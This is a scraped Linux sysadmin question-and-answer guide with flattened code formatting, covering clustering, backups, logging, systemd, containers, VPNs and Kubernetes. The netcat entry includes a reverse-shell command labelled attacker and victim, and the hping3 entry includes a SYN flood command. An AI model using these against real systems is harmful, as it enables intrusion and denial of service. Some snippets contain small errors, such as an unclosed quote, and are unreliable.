resource "aws_instance" "web" { ami = "ami-0c55b159cbfafe1f0" instance_type = "t3.micro" tags = { Name = "web-server" }
user_data = <<-EOF #!/bin/bash yum update -y yum install -y httpd systemctl start httpd systemctl enable httpd EOF}
# Commandsterraform initterraform planterraform applyterraform destroyQ170: How do you configure Azure cloud agent on Linux?
Section titled “Q170: How do you configure Azure cloud agent on Linux?”Answer:
# Install Azure agentwget https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.debdpkg -i packages-microsoft-prod.debapt updateapt install -y waagent
# Configure# Edit /etc/waagent.conf# ResourceDisk.Format=y# ResourceDisk.Filesystem=ext4# Enable SSH
# Provisionwaagent -force -deprovisionLinux High Availability
Section titled “Linux High Availability”Q171: How do you configure keepalived?
Section titled “Q171: How do you configure keepalived?”Answer:
# Installapt install keepalived
vrrp_instance VI_1 { state MASTER interface eth0 virtual_router_id 51 priority 100 advert_int 1 authentication { auth_type PASS auth_pass mypassword } virtual_ipaddress { 192.168.1.100 dev eth0 label eth0:vip }}
# BACKUP config# priority 90
# Enable servicesystemctl enable keepalivedsystemctl start keepalivedQ172: How do you configure Pacemaker/Corosync?
Section titled “Q172: How do you configure Pacemaker/Corosync?”Answer:
# Installapt install pacemaker corosync pcs
# Authenticate nodespcs host auth node1 node2
# Create clusterpcs cluster setup mycluster node1 node2
# Start clusterpcs cluster start --all
# Add resourcepcs resource create VIP ocf:heartbeat:IPaddr2 \ ip=192.168.1.100 cidr_netmask=24 op monitor interval=30s
# Configure failoverpcs constraint location VIP rule score=200 \ pingd 100
# View statuspcs statusQ173: How do you configure DRBD?
Section titled “Q173: How do you configure DRBD?”Answer:
# Installapt install drbd-utils
global { usage-count yes;}
common { protocol C; handlers { pri-on-incon-degr "/usr/lib/drbd/notify-pri-on-incon-degr.sh; /usr/lib/drbd/notify-emergency-reboot.sh; echo b > /proc/sysrq-trigger ; reboot -f"; } net { cram-hmac-alg sha1; shared-secret "mysecret"; }}
# /etc/drbd.d/r0.resresource r0 { on node1 { device /dev/drbd0; disk /dev/sdb1; address 192.168.1.10:7789; meta-disk internal; } on node2 { device /dev/drbd0; disk /dev/sdb1; address 192.168.1.11:7789; meta-disk internal; }}
# Initializedrbdadm create-md r0drbdadm up r0drbdadm primary --force r0
# Filesystemmkfs.ext4 /dev/drbd0Q174: How do you configure GlusterFS?
Section titled “Q174: How do you configure GlusterFS?”Answer:
# Installapt install glusterfs-server
# Add peersgluster peer probe node2
# Create volumegluster volume create gv0 \ replica 2 \ node1:/brick1/gv0 \ node2:/brick1/gv0
# Start volumegluster volume start gv0
# Mountmount -t glusterfs node1:/gv0 /mnt
# Volume infogluster volume infogluster volume statusQ175: How do you configure Ceph?
Section titled “Q175: How do you configure Ceph?”Answer:
# Installapt install ceph-mon ceph-osd ceph-mgr ceph-mds
# Create monitorceph-mon --mkfs -i node1 --keyring /tmp/ceph.mon.keyringsystemctl start ceph-mon@node1
# Create OSDceph-disk prepare --data /dev/sdbceph-disk activate /dev/sdb1
# Create poolceph osd pool create mypool 100
# Mountmount -t ceph node1:/ /mnt/cephLinux Backup Solutions
Section titled “Linux Backup Solutions”Q176: How do you use rsync for backups?
Section titled “Q176: How do you use rsync for backups?”Answer:
# Basic syncrsync -avz /source/ /destination/
# With deletionrsync -avz --delete /source/ /destination/
# Exclude patternsrsync -avz --exclude='*.log' --exclude='tmp/' /source/ /destination/
# Compress during transferrsync -avz --compress /source/ /destination/
# Dry runrsync -avzn /source/ /destination/
# With progressrsync -avz --progress /source/ /destination/
# Backup script#!/bin/bashrsync -avz --delete --exclude-from='/etc/rsync-exclude.txt \ /data/ /backup/data-$(date +%Y%m%d)/find /backup -type d -mtime +30 -exec rm -rf {} \;Q177: How do you use Amanda backup?
Section titled “Q177: How do you use Amanda backup?”Answer:
# Installapt install amanda-server amanda-client
# Configure /etc/amanda/DailySet1/amanda.conforg "DailySet1"mailto "admin@example.com"dumpuser "backup"inparallel 4netusage 10000tapetype "HARDDISK"define tapetype HARDDISK { length 10000 mb}define storage { name "hd-storage" plugin "file" device "/backup/amanda"}define dumptype { global comment "Default dump" compress client fast index yes}
# Add holding diskholdingdisk hd1 { comment "Main holding disk" directory "/dumps" use 2000 mb chunksize 1 mb}Q178: How do you use Bacula?
Section titled “Q178: How do you use Bacula?”Answer:
# Installapt install bacula-server bacula-client
# Configure director# /etc/bacula/bacula-dir.confDirector { Name = bacula-dir DIRport = 9101 QueryFile = "/etc/bacula/query.sql" WorkingDirectory = "/var/lib/bacula" PidDirectory = "/var/run/bacula" Maximum Concurrent Jobs = 10}
# Configure client# /etc/bacula/bacula-fd.confFileDaemon { Name = bacula-fd FDport = 9102 WorkingDirectory = /var/lib/bacula PidDirectory = /var/run/bacula}
# Backup jobJob { Name = "BackupClient1" JobDefs = "DefaultJob" Client = client1-fd FileSet = "Full Set"}Q179: How do you use Restic backup?
Section titled “Q179: How do you use Restic backup?”Answer:
# Installapt install restic
# Initialize repositoryrestic init --repo /backup
# Or S3AWS_ACCESS_KEY_ID=xxx AWS_SECRET_ACCESS_KEY=xxx \ restic -r s3:s3.amazonaws.com/bucket init
# Backuprestic -r /backup backup /data
# List snapshotsrestic -r /backup snapshots
# Mountrestic -r /backup mount /mnt/restic
# Restorerestic -r /backup restore latest --target /restore
# Check integrityrestic -r /backup checkQ180: How do you use Borg backup?
Section titled “Q180: How do you use Borg backup?”Answer:
# Installapt install borgmaticapt install borgbackup
# Initializeborg init --encryption=repkey /backup
# Create config /etc/borgmatic/config.yamlsource_directories: - /home - /etcdestination_directory: /backupretention: keep_daily: 7 keep_weekly: 4 keep_monthly: 6
# Backupborgmatic -v 1
# Listborg list /backup
# Mountborg mount /backup::backup-2023-01-01 /mnt/backup
# Extractborg extract /backup::backup-2023-01-01Linux Security Tools
Section titled “Linux Security Tools”Q181: How do you use nmap?
Section titled “Q181: How do you use nmap?”Answer:
# Installapt install nmap
# Basic scannmap 192.168.1.1
# Scan typesnmap -sS 192.168.1.1 # SYN scannmap -sT 192.168.1.1 # TCP connectnmap -sU 192.168.1.1 # UDP scannmap -sV 192.168.1.1 # Version detection
# OS detectionnmap -O 192.168.1.1
# Scriptsnmap -sC 192.168.1.1 # Default scriptsnmap --script=vuln 192.168.1.1
# Outputnmap -oA output 192.168.1.1 # All formatsnmap -oN output.nmap 192.168.1.1Q182: How do you use Wireshark?
Section titled “Q182: How do you use Wireshark?”Answer:
# Installapt install wireshark tshark
# Capture with tsharktshark -i eth0 -w capture.pcaptshark -i eth0 -f "tcp port 80" -w http.pcap
# Read pcaptshark -r capture.pcaptshark -r capture.pcap -Y "http.request" # Filter
# Extract HTTPtshark -r capture.pcap -z "http,tree"
# Remote capturessh user@host "tcpdump -i eth0 -w -" | wireshark -k -i -Q183: How do you use netcat?
Section titled “Q183: How do you use netcat?”Answer:
# Port scanningnc -zv 192.168.1.1 1-1000
# Simple servernc -l -p 1234
# Simple clientnc 192.168.1.1 1234
# File transfer# Servernc -l -p 1234 < file.txt# Clientnc 192.168.1.1 1234 > file.txt
# Reverse shell# Server (attacker)nc -l -p 1234
# Client (victim)nc -e /bin/bash 192.168.1.1 1234
# Chatnc -l -p 1234nc 192.168.1.1 1234Q184: How do you use hping3?
Section titled “Q184: How do you use hping3?”Answer:
# Installapt install hping3
# Pinghping3 -1 192.168.1.1
# SYN floodhping3 -S 192.168.1.1 -p 80 --flood
# Port scanhping3 -8 1-1000 -S 192.168.1.1
# Tracehping3 -t 1 -z 192.168.1.1
# Custom packethping3 -c 1 -1 -p 80 -E data.txt 192.168.1.1Q185: How do you use tcpdump?
Section titled “Q185: How do you use tcpdump?”Answer:
# Capture packetstcpdump -i eth0
# Filter by hosttcpdump host 192.168.1.1
# Filter by porttcpdump port 80tcpdump src port 443
# Filter by protocoltcpdump icmptcpdump tcptcpdump udp
# Write to filetcpdump -w capture.pcap
# Read from filetcpdump -r capture.pcaptcpdump -r capture.pcap | grep "pattern"
# Advanced filterstcpdump 'tcp[tcpflags] & (tcp-syn|tcp-fin) != 0'tcpdump -i eth0 'port 80 and host 192.168.1.1'Linux Logging
Section titled “Linux Logging”Q186: How do you configure rsyslog?
Section titled “Q186: How do you configure rsyslog?”Answer:
# Load modulesmodule(load="imudp")module(load="imtcp")
# Inputinput(type="imudp" port="514")input(type="imtcp" port="514")
# Remote logging*.* @@remote-host:514
# Filter:programname, isequal, "nginx" /var/log/nginx.log& ~
# Templates$template RemoteLogs,"/var/log/%HOSTNAME%/%programname%.log"*.* ?RemoteLogs
# Queue$ActionQueueType LinkedList$ActionQueueFileName remote-fwd$ActionResumeRetryCount 3$ActionQueueSaveOnShutdown onQ187: How do you configure graylog?
Section titled “Q187: How do you configure graylog?”Answer:
# Install Graylog# Using OVA or AMI
# Configure inputs# Web UI -> System -> Inputs -> GELF UDP
# Configure sidecarapt install graylog-sidecargraylog-sidecar -c /etc/graylog/sidecar/sidecar.yml
# Filebeat configurationfilebeat.inputs:- type: log paths: - /var/log/syslog fields: type: syslog fields_under_root: trueQ188: How do you use logrotate?
Section titled “Q188: How do you use logrotate?”Answer:
/var/log/nginx/*.log { daily missingok rotate 14 compress delaycompress notifempty create 0640 www-data adm sharedscripts postrotate [ -f /var/run/nginx.pid ] && kill -USR1 `cat /var/run/nginx.pid` endscript}
# Manual runlogrotate -f /etc/logrotate.conflogrotate -d /etc/logrotate.conf # debugQ189: How do you analyze logs with ELK?
Section titled “Q189: How do you analyze logs with ELK?”Answer:
# Install Elasticsearchdocker run -d -p 9200:9200 elasticsearch:7
# Install Kibanadocker run -d -p 5601:5601 kibana:7
# Install Logstashdocker run -d -p 5044:5044 logstash:7 -f /etc/logstash/conf.d/
# Filebeat configurationfilebeat.inputs:- type: log paths: - /var/log/*.logoutput.logstash: hosts: ["localhost:5044"]
# Ingest pipelineinput { beats { port => 5044}filter { grok { match => { "message" => "%{COMBINEDAPACHELOG}" } }}output { elasticsearch { hosts => ["localhost:9200"] }}Q190: How do you use splunk forwarder?
Section titled “Q190: How do you use splunk forwarder?”Answer:
# Installdpkg -i splunkforwarder-latest.deb
# Start/opt/splunkforwarder/bin/splunk start --accept-license
# Configure inputscat /opt/splunkforwarder/etc/system/local/inputs.conf[monitor:///var/log/syslog]sourcetype = syslog
# Configure outputscat /opt/splunkforwarder/etc/system/local/outputs.conf[tcpout:default-autolb-group]server = splunk-server:9997
# Enable boot start/opt/splunkforwarder/bin/splunk enable boot-startLinux Systemd Deep Dive
Section titled “Linux Systemd Deep Dive”Q191: How do you create systemd service?
Section titled “Q191: How do you create systemd service?”Answer:
[Unit]Description=My ServiceAfter=network.target
[Service]Type=simpleUser=myuserGroup=mygroupWorkingDirectory=/opt/myappExecStart=/opt/myapp/bin/startExecStop=/opt/myapp/bin/stopExecReload=/bin/kill -HUP $MAINPIDRestart=on-failureRestartSec=10StandardOutput=journalStandardError=journal
[Install]WantedBy=multi-user.targetQ192: How do you create systemd timer?
Section titled “Q192: How do you create systemd timer?”Answer:
[Unit]Description=Run daily backup
[Timer]OnCalendar=dailyPersistent=trueRandomizedDelaySec=1h
[Install]WantedBy=timers.target
# /etc/systemd/system/mytimer.service[Unit]Description=Daily backup job
[Service]Type=oneshotExecStart=/usr/local/bin/backup.shQ193: How do you use systemd tmpfiles?
Section titled “Q193: How do you use systemd tmpfiles?”Answer:
# Create directories with specific permissionsd /var/run/myservice 0755 myuser mygroup -L /var/run/myservice/link - - - - /var/myservice
# Runtimesystemd-tmpfiles --createsystemd-tmpfiles --clean
# At bootsystemctl enable systemd-tmpfiles-clean.timerQ194: How do you debug systemd services?
Section titled “Q194: How do you debug systemd services?”Answer:
# Check statussystemctl status myservicejournalctl -u myservice
# Follow logsjournalctl -fu myservice
# Debug modesystemctl edit myservice# Add:# [Service]# Environment=SYSTEMD_LOG_LEVEL=debug
# Check dependenciessystemctl list-dependencies myservice
# Check failedsystemctl --failedsystemctl reset-failedQ195: How do you limit systemd resources?
Section titled “Q195: How do you limit systemd resources?”Answer:
[Service]MemoryMax=1GMemoryHigh=512MCPUQuota=50%IOReadBandwidthMax=/dev/sda 1MIOWriteBandwidthMax=/dev/sda 1MTasksMax=100
# Applysystemctl daemon-reloadsystemctl restart myserviceLinux Containers Deep Dive
Section titled “Linux Containers Deep Dive”Q196: How do you create custom Docker images?
Section titled “Q196: How do you create custom Docker images?”Answer:
# DockerfileFROM ubuntu:20.04
# LabelsLABEL maintainer="admin@example.com"LABEL version="1.0"
# EnvironmentENV APP_HOME=/opt/appENV NODE_ENV=production
# Install dependenciesRUN apt-get update && \ apt-get install -y curl nginx && \ apt-get clean && \ rm -rf /var/lib/apt/lists/*
# Create userRUN useradd -m -s /bin/bash appuser
# Copy filesCOPY --chown=appuser:appuser . /opt/app
# Switch userUSER appuser
# ExposeEXPOSE 80 443
# Health checkHEALTHCHECK --interval=30s --timeout=3s \ CMD curl -f http://localhost/ || exit 1
# EntrypointENTRYPOINT ["/opt/app/start.sh"]CMD ["nginx", "-g", "daemon off;"]Q197: How do you optimize Docker images?
Section titled “Q197: How do you optimize Docker images?”Answer:
# Use AlpineFROM node:18-alpine
# Use multi-stage buildFROM node:18-alpine AS builderWORKDIR /buildCOPY package*.json ./RUN npm ci --only=production
FROM node:18-alpineWORKDIR /appCOPY --from=builder /app/node_modules ./node_modulesCOPY . .USER node
# Combine layersRUN apt-get update && apt-get install -y curl && rm -rf /var/lib/apt/lists/*
# Use .dockerignore# node_modules# .git# *.logQ198: How do you configure Docker networking?
Section titled “Q198: How do you configure Docker networking?”Answer:
# Create networkdocker network create mynetwork
# Run with networkdocker run -d --network mynetwork --name web nginx
# Bridge networkdocker network create --driver bridge mybridge
# Host networkdocker run --network host nginx
# Overlay (Swarm)docker network create --driver overlay myoverlay
# DNS resolutiondocker run -d --network mynetwork --dns 8.8.8.8 nginxQ199: How do you use Docker Compose for orchestration?
Section titled “Q199: How do you use Docker Compose for orchestration?”Answer:
version: '3.8'services: web: image: nginx:alpine ports: - "80:80" networks: - frontend depends_on: - app healthcheck: test: ["CMD", "curl", "-f", "http://localhost/"] interval: 30s timeout: 10s retries: 3
app: build: . networks: - frontend - backend environment: - DATABASE_URL=postgres://db:5432/myapp
db: image: postgres:14 volumes: - db-data:/var/lib/postgresql/data networks: - backend
networks: frontend: backend:
volumes: db-data:Q200: How do you secure Docker containers?
Section titled “Q200: How do you secure Docker containers?”Answer:
# Run as non-rootdocker run -u 1000:1000 nginx
# Read-only root filesystemdocker run --read-only nginx
# Limit capabilitiesdocker run --cap-drop ALL --cap-add NET_BIND_SERVICE nginx
# Seccomp profiledocker run --security-opt seccomp=default nginx
# AppArmor profiledocker --security-opt apparmor=docker-default nginx
# No new privilegesdocker run --security-opt no-new-privileges:true nginx
# Scan imagesdocker scan nginx
# Use rootless Dockerdockerd-rootless.shAdditional Questions 201-250
Section titled “Additional Questions 201-250”Q201: How do you configure systemd network namespace?
Section titled “Q201: How do you configure systemd network namespace?”ip netns add mynsip netns exec myns ip linkip netns exec myns ping 8.8.8.8
# Listip netns list
# Deleteip netns delete mynsQ202: How do you use Linux traffic control?
Section titled “Q202: How do you use Linux traffic control?”# Add qdisctc qdisc add dev eth0 root netem delay 100ms
# Rate limitingtc qdisc add dev eth0 root tbf rate 1mbit burst 1540 latency 50ms
# Viewtc qdisc showtc -s qdisc showQ203: How do you configure eBPF?
Section titled “Q203: How do you configure eBPF?”# Install bpftraceapt install bpftrace
# Simple tracebtrace -p PIDbtrace /path/to/program.bt
# Using bpfccapt install bpfcc-toolsexecsnoop-bpfccopensnoop-bpfcctcpconnect-bpfccQ204: How do you use Linux audit system?
Section titled “Q204: How do you use Linux audit system?”# Installapt install auditd
# Add rulesauditctl -w /etc/passwd -p wa -k passwd_changeauditctl -w /var/www/html -p r -k web_access
# List rulesauditctl -l
# Searchausearch -k passwd_changeaureport -fQ205: How do you configure UFW firewall?
Section titled “Q205: How do you configure UFW firewall?”# Installapt install ufw
# Enableufw enableufw default deny incomingufw default allow outgoing
# Rulesufw allow sshufw allow 80/tcpufw allow from 192.168.1.0/24 to any port 5432
# Statusufw status numberedufw delete 1
# Loggingufw logging onufw logging lowQ206: How do you use firewalld?
Section titled “Q206: How do you use firewalld?”# Installapt install firewalld
# Servicesfirewall-cmd --list-servicesfirewall-cmd --add-service=httpfirewall-cmd --add-port=8080/tcp
# Zonesfirewall-cmd --get-zonesfirewall-cmd --zone=public --list-all
# Permanentfirewall-cmd --runtime-to-permanent
# Rich rulesfirewall-cmd --add-rich-rule='rule family="ipv4" source address="192.168.1.0/24" accept'Q207: How do you configure OpenVPN?
Section titled “Q207: How do you configure OpenVPN?”Answer:
# Installapt install openvpn easy-rsa
# Setup CAcd /usr/share/easy-rsa./easyrsa init-pki./easyrsa build-ca
# Build server./easyrsa build-server-full server nopass
# Build client./easyrsa build-client-full client1 nopass
# Server configcp pki/ca.crt /etc/openvpn/cp pki/issued/server.crt /etc/openvpn/cp pki/private/server.key /etc/openvpn/
# Client configclientdev tunremote vpn.example.com 1194proto udpca ca.crtcert client1.crtkey client1.keyQ208: How do you configure WireGuard?
Section titled “Q208: How do you configure WireGuard?”Answer:
# Installapt install wireguard
# Generate keyswg genkey | tee private.key | wg pubkey > public.key
# Server config /etc/wireguard/wg0.conf[Interface]Address = 10.0.0.1/24ListenPort = 51820PrivateKey = <server-private-key>
[Peer]PublicKey = <client-public-key>AllowedIPs = 10.0.0.2/32
# Client config[Interface]Address = 10.0.0.2/24PrivateKey = <client-private-key>
[Peer]PublicKey = <server-public-key>Endpoint = vpn.example.com:51820AllowedIPs = 0.0.0.0/0PersistentKeepalive = 25Q209: How do you use GPG encryption?
Section titled “Q209: How do you use GPG encryption?”Answer:
# Generate keygpg --full-generate-key
# Encryptgpg -e -r recipient@example.com file.txt
# Decryptgpg -d file.txt.gpg
# Signgpg -s file.txt
# Verifygpg --verify file.txt.asc
# List keysgpg --list-keysgpg --list-secret-keys
# Export/Importgpg --export -a > public.keygpg --import public.keyQ210: How do you use OpenSSL?
Section titled “Q210: How do you use OpenSSL?”Answer:
# Generate private keyopenssl genrsa -out private.key 2048
# Generate CSRopenssl req -new -key private.key -out request.csr
# Self-signed certificateopenssl req -x509 -days 365 -key private.key -in request.csr -out certificate.crt
# View certificateopenssl x509 -in certificate.crt -text -noout
# Verifyopenssl verify -CAfile ca.crt certificate.crt
# Convert formatsopenssl x509 -in cert.pem -outform DER -out cert.derQuestions 211-250
Section titled “Questions 211-250”Q211: How do you configure LDAP?
Section titled “Q211: How do you configure LDAP?”Answer:
# Installapt install slapd ldap-utils
# Configuredpkg-reconfigure slapd
# Add entriesldapadd -x -D "cn=admin,dc=example,dc=com" -W -f entries.ldif
# Searchldapsearch -x -b "dc=example,dc=com" "(objectclass=*)"
# Modifyldapmodify -x -D "cn=admin,dc=example,dc=com" -W -f modify.ldif
# Deleteldapdelete -x -D "cn=admin,dc=example,dc=com" "uid=user,ou=people,dc=example,dc=com"Q212: How do you configure Postfix with LDAP?
Section titled “Q212: How do you configure Postfix with LDAP?”Answer:
# Installapt install postfix-ldap
server_host = ldap.example.comsearch_base = ou=people,dc=example,dc=comquery_filter = mail=%sresult_attribute = mailForwardingAddressQ213: How do you configure Samba as domain controller?
Section titled “Q213: How do you configure Samba as domain controller?”Answer:
# Installapt install samba krb5-user
# Provisionsamba-tool domain provision --realm=EXAMPLE.COM --domain=EXAMPLE --adminpass=Password123 --server-role=dc
# Startsystemctl start samba
# Add useruseradd -M -s /sbin/nologin administratorsmbpasswd -a administrator
# Join domainnet ads join -U administratorQ214: How do you configure NFSv4?
Section titled “Q214: How do you configure NFSv4?”Answer:
# Server /etc/exports/exports *(rw,sec=sys,fsid=0,no_subtree_check,no_root_squash)
# Clientmount -t nfs4 server:/ /mnt/nfs
# Or with Kerberos# Server/exports *(rw,sec=krb5p,fsid=0)
# Clientmount -t nfs4 -o sec=krb5 server:/ /mnt/nfsQ215: How do you use Linux dm-crypt/LUKS?
Section titled “Q215: How do you use Linux dm-crypt/LUKS?”Answer:
# Create encrypted containerdd if=/dev/zero of=/container bs=1M count=1000cryptsetup luksFormat /container
# Opencryptsetup open /container cryptvol
# Formatmkfs.ext4 /dev/mapper/cryptvol
# Mountmount /dev/mapper/cryptvol /mnt
# Closeumount /mntcryptsetup close cryptvolQ216: How do you configure systemd network targets?
Section titled “Q216: How do you configure systemd network targets?”Answer:
Create custom target
Section titled “Create custom target”cat /etc/systemd/system/myapp.target [Unit] Description=My Application Target Requires=network-online.target After=network-online.target
[Install] WantedBy=multi-user.target
### Q217: How do you use cgroups v2?```bash# Check cgroup versionstat -fc %T /sys/fs/cgroup/
# Create groupmkdir -p /sys/fs/cgroup/mygroupecho 100000000 > /sys/fs/cgroup/mygroup/cpu.max
# Add processecho PID > /sys/fs/cgroup/mygroup/cgroup.procsQ218: How do you configure namespace isolation?
Section titled “Q218: How do you configure namespace isolation?”# Create network namespaceip netns add myns
# Create user namespaceunshare --user
# Create PID namespaceunshare --pid --fork --mount-proc
# Mount namespaceunshare --mountQ219: How do you use Linux capabilities?
Section titled “Q219: How do you use Linux capabilities?”```bash# Check capabilitiesgetcap -r /usr/bin
# Add capabilitysetcap cap_net_raw+ep /usr/bin/ping
# Check specificgetcap /usr/bin/ping
# Removesetcap -r /usr/bin/pingQ220: How do you configure seccomp?
Section titled “Q220: How do you configure seccomp?”Answer:
# Default profiledocker run --rm -it --security-opt seccomp=default hello-world
# Custom profilecat /etc/docker/seccomp.json{ "defaultAction": "SCMP_ACT_ERRNO", "architectures": ["SCMP_ARCH_X86_64"], "syscalls": []}
docker run --security-opt seccomp=/etc/docker/seccomp.json nginxQuestions 221-250
Section titled “Questions 221-250”Q221: How do you use perf tools?
Section titled “Q221: How do you use perf tools?”Answer:
# Installapt install linux-tools-common linux-tools-generic
# CPU samplingperf record -g ./myprogramperf report
# Specific eventsperf stat -e cycles,instructions ./myprogram
# Topperf top
# Scheduler analysisperf sched latencyQ222: How do you use strace?
Section titled “Q222: How do you use strace?”Answer:
# Basicstrace -p PIDstrace -c command
# Output to filestrace -o output.txt command
# Timestampsstrace -t commandstrace -tt command
# Filterstrace -e trace=network,file commandstrace -e openat,write commandQ223: How do you use ltrace?
Section titled “Q223: How do you use ltrace?”Answer:
# Basicltrace -p PIDltrace -c command
# Library callsltrace -l library.so command
# Timeltrace -T command
# Follow forksltrace -f commandQ224: How do you use vmstat?
Section titled “Q224: How do you use vmstat?”Answer:
# Basicvmstat 1
# Memoryvmstat -m
# Diskvmstat -d
# Summaryvmstat -s
# Extendedvmstat -eQ225: How do you use iotop?
Section titled “Q225: How do you use iotop?”Answer:
# Basiciotop
# Only I/Oiotop -o
# Batch modeiotop -b -n 3
# Only processesiotop -P
# By threadiotop -tQ226: How do you use sar - advanced?
Section titled “Q226: How do you use sar - advanced?”Answer:
# CPUsar -u 1 5
# Memorysar -r 1 5
# Swapsar -S 1 5
# I/Osar -b 1 5
# Networksar -n DEV 1 5
# Allsar -AQ227: How do you configure system limits?
Section titled “Q227: How do you configure system limits?”Answer:
* soft nofile 65535* hard nofile 65535* soft nproc 4096* hard nproc 8192root soft nofile unlimited
# Apply without logoutulimit -n 65535Q228: How do you tune TCP stack for high performance?
Section titled “Q228: How do you tune TCP stack for high performance?”Answer:
net.core.somaxconn = 65535net.ipv4.tcp_max_syn_backlog = 65535net.ipv4.ip_local_port_range = 1024 65535net.ipv4.tcp_fin_timeout = 15net.ipv4.tcp_max_tw_buckets = 2000000net.ipv4.tcp_tw_reuse = 1net.ipv4.tcp_keepalive_time = 300net.ipv4.tcp_keepalive_intvl = 15net.ipv4.tcp_keepalive_probes = 5net.core.rmem_max = 16777216net.core.wmem_max = 16777216net.ipv4.tcp_rmem = 4096 87380 16777216net.ipv4.tcp_wmem = 4096 65536 16777216Q229: How do you optimize disk I/O scheduler?
Section titled “Q229: How do you optimize disk I/O scheduler?”Answer:
# For SSD (no-op or deadline)echo noop > /sys/block/sda/queue/scheduler
# For HDD (mq-deadline or bfq)echo mq-deadline > /sys/block/sda/queue/scheduler
# Make persistent# /etc/udev/rules.d/60-ioschedulers.rulesACTION=="add|change", KERNEL=="sd[a-z]", ATTR{queue/scheduler}="mq-deadline"Q230: How do you configure CPU governor?
Section titled “Q230: How do you configure CPU governor?”Answer:
# Check availablecat /sys/devices/system/cpu/cpu0/cpufreq/scaling_available_governors
# Set for allfor cpu in /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor; do echo performance > $cpudone
# Install cpufrequtilsapt install cpufrequtils
# /etc/default/cpufrequtilsGOVERNOR="performance"
# With systemdsystemctl enable cpufreqdQuestions 231-250
Section titled “Questions 231-250”Q231: How do you use Linux crictl?
Section titled “Q231: How do you use Linux crictl?”Answer:
# Configure crictlcat > /etc/crictl.yaml <<EOFruntime-endpoint: unix:///var/run/dockershim.sockimage-endpoint: unix:///var/run/dockershim.socktimeout: 10debug: falseEOF
# Pull imagecrictl pull nginx:latest
# Run containercrictl run container.json pod.json
# Listcrictl pscrictl podsQ232: How do you use Podman?
Section titled “Q232: How do you use Podman?”Answer:
# Rootless containerspodman run -d nginxpodman pspodman logs -f container
# Build imagepodman build -t myimage .podman push myimage registry.example.com/myimage
# Systemd servicepodman generate systemd --name myapp > myapp.servicesystemctl enable --user myappQ233: How do you configure containerd?
Section titled “Q233: How do you configure containerd?”Answer:
# Install containerdapt install containerd
# Configure /etc/containerd/config.toml[plugins] [plugins."io.containerd.grpc.v1.cri"] sandbox_image = "registry.k8s.io/pause:3.9" [plugins."io.containerd.grpc.v1.cri".containerd.runtimes.runc] runtime_type = "io.containerd.runtime.v1.linux" runtime_engine = "" runtime_root = ""Q234: How do you use Buildah?
Section titled “Q234: How do you use Buildah?”Answer:
# Build from Dockerfilebuildah bud -t myimage .
# Build without Dockerfilebuildah from alpinebuildah run alpine -- apk add nginxbuildah commit alpine myimage
# Use multiple containersbuildah bud --layers -t myapp
# Push to registrybuildah push myimageQ235: How do you use Skopeo?
Section titled “Q235: How do you use Skopeo?”Answer:
# Inspect remote imageskopeo inspect docker://nginx:latest
# Copy between registriesskopeo copy docker://source/nginx:latest docker://dest/nginx:latest
# List tagsskopeo list-tags docker://registry.example.com/myimage
# Deleteskopeo delete docker://registry.example.com/myimage:tagQ236: How do you use cri-dockerd?
Section titled “Q236: How do you use cri-dockerd?”Answer:
# Installwget https://github.com/Mirantis/cri-dockerd/releases/latest/download/cri-dockerd-amd64install -o root -g root -m 0755 cri-dockerd-amd64 /usr/local/bin/cri-dockerd
# Run with systemd# /etc/systemd/system/cri-docker.service[Unit]Description=CRI-DockerAfter=network-online.target firewalld.service docker.serviceRequires=docker.service
[Service]ExecStart=/usr/local/bin/cri-dockerd --network-plugin=cni --pod-infra-container-image=pause:3.9Q237: How do you configure K3s?
Section titled “Q237: How do you configure K3s?”Answer:
# Installcurl -sfL https://get.k3s.io | INSTALL_K3S_EXEC="--write-kubeconfig-mode 644" sh -
# Or with Dockerdocker run -d --privileged -p 8080:6443 -v /var/lib/rancher/k3s:/var/lib/rancher/k3s rancher/k3s:latest server
# Agentcurl -sfL https://get.k3s.io | K3S_URL=https://server:6443 K3S_TOKEN=TOKEN sh -Q238: How do you use kubectl?
Section titled “Q238: How do you use kubectl?”Answer:
# Configuremkdir ~/.kubecp /etc/rancher/k3s/k3s.yaml ~/.kube/configchmod 600 ~/.kube/config
# Commandskubectl get nodeskubectl get pods -Akubectl get serviceskubectl get deployments
# Applykubectl apply -f deployment.yaml
# Debugkubectl describe pod namekubectl logs -f pod namekubectl exec -it pod name -- /bin/bashQ239: How do you use Helm?
Section titled “Q239: How do you use Helm?”Answer:
# Installcurl https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 | bash
# Add repohelm repo add stable https://charts.helm.sh/stablehelm repo update
# Installhelm install myrelease stable/nginx
# Upgradehelm upgrade myrelease stable/nginx
# Templatehelm template myrelease stable/nginx
# Valueshelm install -f values.yaml myrelease stable/nginxQ240: How do you use kustomize?
Section titled “Q240: How do you use kustomize?”Answer:
apiVersion: kustomize.config.k8s.io/v1beta1kind: Kustomizationresources: - deployment.yaml - service.yamlnamespace: productioncommonLabels: app: myappconfigMapGenerator: - name: app-config literals: - DEBUG=falsereplicas: - name: deployment count: 3Continue with questions 241-1000 covering more advanced topics…